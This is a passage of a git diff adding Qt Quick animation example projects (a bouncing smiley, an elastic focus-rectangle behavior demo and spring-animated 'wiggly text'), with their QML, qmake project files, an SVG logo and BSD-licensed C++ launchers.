+ scale: smiley.y * 0.5 / (smiley.minHeight - smiley.maxHeight)
+ }
+
+ Image {
+ id: smiley
+ property int maxHeight: window.height / 3
+ property int minHeight: 2 * window.height / 3
+
+ anchors.horizontalCenter: parent.horizontalCenter
+ y: minHeight
+ source: "images/face-smile.png"
+
+ // Animate the y property. Setting loops to Animation.Infinite makes the
+ // animation repeat indefinitely, otherwise it would only run once.
+ SequentialAnimation on y {
+ loops: Animation.Infinite
+
+ // Move from minHeight to maxHeight in 300ms, using the OutExpo easing function
+ NumberAnimation {
+ from: smiley.minHeight; to: smiley.maxHeight
+ easing.type: Easing.OutExpo; duration: 300
+ }
+
+ // Then move back to minHeight in 1 second, using the OutBounce easing function
+ NumberAnimation {
+ from: smiley.maxHeight; to: smiley.minHeight
+ easing.type: Easing.OutBounce; duration: 1000
+ }
+
+ // Then pause for 500ms
+ PauseAnimation { duration: 500 }
+ }
+ }
+}
diff --git a/examples/declarative/animation/behaviors/behavior-example/behavior-example.png b/examples/declarative/animation/behaviors/behavior-example/behavior-example.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/animation/behaviors/behavior-example/behavior-example.png
Binary files differ
diff --git a/examples/declarative/animation/behaviors/behavior-example/behavior-example.pro b/examples/declarative/animation/behaviors/behavior-example/behavior-example.pro
new file mode 100644
index 00000000..3ea81e22
--- /dev/null
+++ b/examples/declarative/animation/behaviors/behavior-example/behavior-example.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/behaviours
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+#DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xEB6022A4
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/animation/behaviors/behavior-example
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/animation/behaviors/behavior-example/behavior-example.svg b/examples/declarative/animation/behaviors/behavior-example/behavior-example.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/animation/behaviors/behavior-example/behavior-example.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/animation/behaviors/behavior-example/behaviors.qmlproject b/examples/declarative/animation/behaviors/behavior-example/behaviors.qmlproject
new file mode 100644
index 00000000..7de2b3ba
--- /dev/null
+++ b/examples/declarative/animation/behaviors/behavior-example/behaviors.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/behaviours"
+ }
+ JavaScriptFiles {
+ directory: "qml/behaviours"
+ }
+ ImageFiles {
+ directory: "qml/behaviours"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/animation/behaviors/behavior-example/main.cpp b/examples/declarative/animation/behaviors/behavior-example/main.cpp
new file mode 100644
index 00000000..d60ee64e
--- /dev/null
+++ b/examples/declarative/animation/behaviors/behavior-example/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/behaviours/behavior-example.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/animation/behaviors/behavior-example/qml/behaviours/SideRect.qml b/examples/declarative/animation/behaviors/behavior-example/qml/behaviours/SideRect.qml
new file mode 100644
index 00000000..b6bee7a0
--- /dev/null
+++ b/examples/declarative/animation/behaviors/behavior-example/qml/behaviours/SideRect.qml
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: myRect
+
+ property string text
+
+ width: 75; height: 50
+ radius: 6
+ color: "#646464"
+ border.width: 4; border.color: "white"
+
+ MouseArea {
+ anchors.fill: parent
+ hoverEnabled: true
+ onEntered: {
+ focusRect.x = myRect.x;
+ focusRect.y = myRect.y;
+ focusRect.text = myRect.text;
+ }
+ }
+}
diff --git a/examples/declarative/animation/behaviors/behavior-example/qml/behaviours/behavior-example.qml b/examples/declarative/animation/behaviors/behavior-example/qml/behaviours/behavior-example.qml
new file mode 100644
index 00000000..d7140d53
--- /dev/null
+++ b/examples/declarative/animation/behaviors/behavior-example/qml/behaviours/behavior-example.qml
@@ -0,0 +1,118 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 600; height: 400
+ color: "#343434"
+
+ Rectangle {
+ anchors.centerIn: parent
+ width: 200; height: 200
+ radius: 30
+ color: "transparent"
+ border.width: 4; border.color: "white"
+
+
+ SideRect {
+ id: leftRect
+ anchors { verticalCenter: parent.verticalCenter; horizontalCenter: parent.left }
+ text: "Left"
+ }
+
+ SideRect {
+ id: rightRect
+ anchors { verticalCenter: parent.verticalCenter; horizontalCenter: parent.right }
+ text: "Right"
+ }
+
+ SideRect {
+ id: topRect
+ anchors { verticalCenter: parent.top; horizontalCenter: parent.horizontalCenter }
+ text: "Top"
+ }
+
+ SideRect {
+ id: bottomRect
+ anchors { verticalCenter: parent.bottom; horizontalCenter: parent.horizontalCenter }
+ text: "Bottom"
+ }
+
+
+ Rectangle {
+ id: focusRect
+
+ property string text
+
+ x: 62; y: 75; width: 75; height: 50
+ radius: 6
+ border.width: 4; border.color: "white"
+ color: "firebrick"
+
+ // Set an 'elastic' behavior on the focusRect's x property.
+ Behavior on x {
+ NumberAnimation { easing.type: Easing.OutElastic; easing.amplitude: 3.0; easing.period: 2.0; duration: 300 }
+ }
+
+ // Set an 'elastic' behavior on the focusRect's y property.
+ Behavior on y {
+ NumberAnimation { easing.type: Easing.OutElastic; easing.amplitude: 3.0; easing.period: 2.0; duration: 300 }
+ }
+
+ Text {
+ id: focusText
+ text: focusRect.text
+ anchors.centerIn: parent
+ color: "white"
+ font.pixelSize: 16; font.bold: true
+
+ // Set a behavior on the focusText's x property:
+ // Set the opacity to 0, set the new text value, then set the opacity back to 1.
+ Behavior on text {
+ SequentialAnimation {
+ NumberAnimation { target: focusText; property: "opacity"; to: 0; duration: 150 }
+ NumberAnimation { target: focusText; property: "opacity"; to: 1; duration: 150 }
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/examples/declarative/animation/behaviors/wigglytext/main.cpp b/examples/declarative/animation/behaviors/wigglytext/main.cpp
new file mode 100644
index 00000000..d60ee64e
--- /dev/null
+++ b/examples/declarative/animation/behaviors/wigglytext/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/behaviours/behavior-example.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/animation/behaviors/wigglytext/qml/wigglytext/wigglytext.qml b/examples/declarative/animation/behaviors/wigglytext/qml/wigglytext/wigglytext.qml
new file mode 100644
index 00000000..e97d9e43
--- /dev/null
+++ b/examples/declarative/animation/behaviors/wigglytext/qml/wigglytext/wigglytext.qml
@@ -0,0 +1,108 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: container
+
+ property string text: "Drag this text..."
+ property bool animated: true
+
+ width: 640; height: 480; color: "#474747"; focus: true
+
+ Keys.onPressed: {
+ if (event.key == Qt.Key_Delete || event.key == Qt.Key_Backspace)
+ container.remove()
+ else if (event.text != "") {
+ container.append(event.text)
+ }
+ }
+
+ function append(text) {
+ container.animated = false
+ var lastLetter = container.children[container.children.length - 1]
+ var newLetter = letterComponent.createObject(container)
+ newLetter.text = text
+ newLetter.follow = lastLetter
+ container.animated = true
+ }
+
+ function remove() {
+ if (container.children.length)
+ container.children[container.children.length - 1].destroy()
+ }
+
+ function doLayout() {
+ var follow = null
+ for (var i = 0; i < container.text.length; ++i) {
+ var newLetter = letterComponent.createObject(container)
+ newLetter.text = container.text[i]
+ newLetter.follow = follow
+ follow = newLetter
+ }
+ }
+
+ Component {
+ id: letterComponent
+ Text {
+ id: letter
+ property variant follow
+
+ x: follow ? follow.x + follow.width : container.width / 3
+ y: follow ? follow.y : container.height / 2
+
+ font.pixelSize: 40; font.bold: true
+ color: "#999999"; styleColor: "#222222"; style: Text.Raised
+
+ MouseArea {
+ anchors.fill: parent
+ drag.target: letter; drag.axis: Drag.XandYAxis
+ onPressed: letter.color = "#dddddd"
+ onReleased: letter.color = "#999999"
+ }
+
+ Behavior on x { enabled: container.animated; SpringAnimation { spring: 3; damping: 0.3; mass: 1.0 } }
+ Behavior on y { enabled: container.animated; SpringAnimation { spring: 3; damping: 0.3; mass: 1.0 } }
+ }
+ }
+
+ Component.onCompleted: doLayout()
+}
diff --git a/examples/declarative/animation/behaviors/wigglytext/wigglytext.png b/examples/declarative/animation/behaviors/wigglytext/wigglytext.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/animation/behaviors/wigglytext/wigglytext.png
Binary files differ
diff --git a/examples/declarative/animation/behaviors/wigglytext/wigglytext.pro b/examples/declarative/animation/behaviors/wigglytext/wigglytext.pro
new file mode 100644
index 00000000..3ad345f7
--- /dev/null
+++ b/examples/declarative/animation/behaviors/wigglytext/wigglytext.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/wigglytext
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+#DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xEB6022A4
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
